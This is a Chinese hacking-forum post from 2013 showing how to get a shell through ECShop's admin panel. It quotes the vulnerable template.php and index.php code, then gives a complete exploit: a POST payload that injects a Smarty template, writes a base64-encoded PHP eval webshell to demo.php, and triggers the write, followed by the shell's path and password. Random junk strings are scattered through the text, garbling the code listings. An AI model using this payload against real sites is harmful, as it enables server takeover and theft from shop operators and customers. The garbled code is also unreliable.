找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2869|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
8 \; Q  y5 Z! I$ \3 V
" \$ E  K5 L7 R. A而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
! |- s1 d9 M( k+ |但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
; h' l# t* ^+ T# k* A9 g2 Eadmin/template.php, p$ Y6 p3 Y0 P# u5 F

6 T* T& z) n  ?5 ^1 if ($_REQUEST['act'] == 'update_library') , t( o+ ^; ^# H+ d/ c

' H/ [- j- Q) H+ m) M2   + L) b( Y( J! ?# e! u1 U" B

3 C9 p1 j. F# G) y* \. i, T7 K+ |3 { : I' o5 B5 m5 r; i9 q2 S
0 K# x" d. ?$ H0 s0 q1 Z9 ^
4     check_authz_json('library_manage');
! N  I2 @$ N4 a. {8 [: ~1 {: s! u3 z
5   
9 J3 y+ k2 i( K' n2 p/ r; g& S" V9 L6 L
6     $html = stripslashes(json_str_iconv($_POST['html']));
- I+ ?. f# t; _' y, d7 m0 w$ h
$ M, b7 c! O( s8 A( i& k; a6 f, m. I7   
% g$ F% v# @! d
" D/ X8 _& S1 u0 J* r3 e8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 6 l! X- c, D0 `" ~$ g% t
8 e1 T; s. p8 `, j# J
9   
0 I0 J( v- C2 T5 H% v5 q/ `
- c6 }/ w" ~% p' F' _10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 5 Q# x4 F) F( i7 k- q9 B4 u$ Q

# i# o0 P7 k1 o$ |' L- j& T( I( _6 K11   & ]6 _, G% ^/ y* s

6 O* I/ }! h2 l4 a* j, z. l12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ! @7 y7 J- j2 H( g& v: f
0 c, p; ~5 A" D
13   
$ v# l/ }3 h4 {! O6 x6 O5 e( G5 K
2 a  z6 F# T- G) P14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
# x. U$ }2 A1 l
, t+ {; |- Y( m1 T/ G15     {
& r9 t9 ?; l' f+ |# R
/ e* ?' y/ \+ Y16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
! w3 }6 ^3 ?4 O) c- n
! p3 n' }# d  K" Q% F0 y17         make_json_result('', $_LANG['update_lib_success']);
- f! ^2 K0 b' |7 `4 ?+ b1 c
1 ?+ a: Y& U. i  m1 J18     } ( M$ C( k7 \$ O; Z4 w7 X6 |
1 g! k$ M" `* C0 C
19     else
. F: Z9 K: k: x+ [0 s% Q9 S; X- {  P. C
20     { 2 C  H# w3 m. I+ l
# Y. p6 n: j  y1 U; n0 H
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 3 }2 W4 `+ J* Q! b6 I  p5 s& v2 W4 W

, A3 C3 K+ d. }2 n6 ^+ ?4 `22     } , A; D* E6 I1 O4 X- x" f
1 z. e- {6 L" m- \% [
23 }
) {! p* @1 ~0 e. A$ x1 v+ g* [* @: x8 ^' x  Z6 A
那么找个比较方便调用了模板的文件
' r' c  }; t/ F. f/ H7 T" cindex.php& d0 s5 x& U. T& L. u* m
: a- ]7 p+ A; }, A; W4 a
1 if ($act == 'cat_rec')
5 I* h5 K, y5 e- c* q; h3 C0 C
" ]$ u" R$ k) ~: F( R, P2   ! W1 Y4 l: Q) Y

7 y: Y1 C3 x( i  X* h+ g" Z3 E3 {
4 b2 z# D# _. Q1 F' `' x8 j5 [& ], h
4   ' ^# K2 C: \1 F8 ]- u# J% G

8 z$ p1 ]. p8 g: |5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
' c% K# c" U& \  c: j, F+ x) d+ x4 e7 D* `2 d$ k1 m
6   
: A& ~  \1 S5 ?. B0 w
4 v! y' Z' {+ z7 f7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 2 |0 x. k# {% N  t0 ^4 e7 g

$ n4 I6 @( ~$ q$ p" M, p  c0 u8   . `" x' @# A1 D
4 N% e7 o; b( W% y9 b8 l
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
1 P6 ]- ]8 X; y, `
9 o0 f9 }/ X6 i! n( g10   , G9 h9 V! Q5 Y: i2 G6 j
- _: {" ~7 g! }+ M% P
11     include_once('includes/cls_json.php'); 3 y7 \5 {% G( F
" @, K+ ?1 x% a* d0 a6 O, Q
12   
( @8 k( b3 D# [/ w
- N' ~% _; u3 w* h3 k- r13     $json = new JSON;
; u* D) `+ H. q1 M$ X' g6 u  K# z) O! [  {+ s2 }
14   
3 N$ _# K, g$ c% l( l& c, ?( V* O% l
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); - d* J, U' h  p2 L& J- {

' O5 ?7 ~% B, w: |  C8 G16   - P1 s+ Q  n2 A
1 ~* p; u, }) C$ L
17     $children = get_children($cat_id); 2 U4 N- R/ O  r0 ~2 h# _* {$ c. j

6 B2 d" i" U" {7 z' ~) b2 F18   0 a9 p! L9 ]+ G9 h1 f
& L0 k( V) s# D5 t- w- d
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
0 D- ?* `6 t: d" t' {$ `$ g4 O1 \
: n2 ?4 J, `! u20   
7 `. M5 u/ [5 w. |' W  R( U4 G3 K& A2 N4 A1 g4 X" C
21     $smarty->assign('cat_rec_sign', 1); 9 L. I) p- _$ C6 d# Q( U

- ~/ }1 ^& D. Y! S1 n1 ~22   9 k. j' Z2 ^1 n( C

* W. P2 |- Z/ _( ^: t' ]! f23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 8 r% G0 g  Z/ V1 c. e

" ]6 D( T) f) s1 O/ }6 p* a/ F24   : R8 T5 V: S( e( y
( z+ ~8 c  M0 I) N
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; : r7 F% \0 e3 h" k! @
: ~8 V' |9 {" ]0 H0 X
26   
# J4 k# T; S3 ~; p1 u2 D8 S5 y: t* q% b) b' z: D* w% T
27         echo $rec_array[$rec_type]; $ Q5 [7 t( U5 b0 W  X' P
6 @+ }' S8 ?  _$ Q4 |' a; p( g
28   * G9 ^9 I% L: m% Q
' P* j$ v! c3 P3 {8 Q
29     die($json->encode($result)); / {3 {/ A/ w4 C4 j
' }' |5 L8 {$ I3 o% Y! U$ x
30   8 h2 X% }: t$ J
4 O9 G) l( L# c5 W8 Q6 u" S2 Z
31 } 7 c' i3 F$ B5 R" H

7 E& [+ {: n$ X* r( z那么就有利用方法了. ~$ Y+ Q. U" ^0 H& u: e# ~6 g
post包到http://localhost/ec/admin/template.php?act=update_library
: W" ?2 z3 K" i; }$ I9 t3 VPost内容:% I4 ?9 c9 E$ z. P* I3 @! a
( i& q2 U( u# F( `1 L7 G7 I9 `
5 x0 L4 R: E4 K  t' M
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ! t, y, O6 H/ f+ u$ U" S

8 ~1 Z- ^' O( t! Z然后访问http://localhost/ec/index.php?act=cat_rec
( ]6 K7 D, M( H- X3 O1 Z0 m0 C0 A# c, T+ M0 @  p1 d9 k
shel地址:http://localhost/ec/demo.php" S7 f6 ]2 }. `7 D! i8 W1 J+ x
密码c
7 I3 F# t9 o1 I
/ ?6 l: [" @1 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表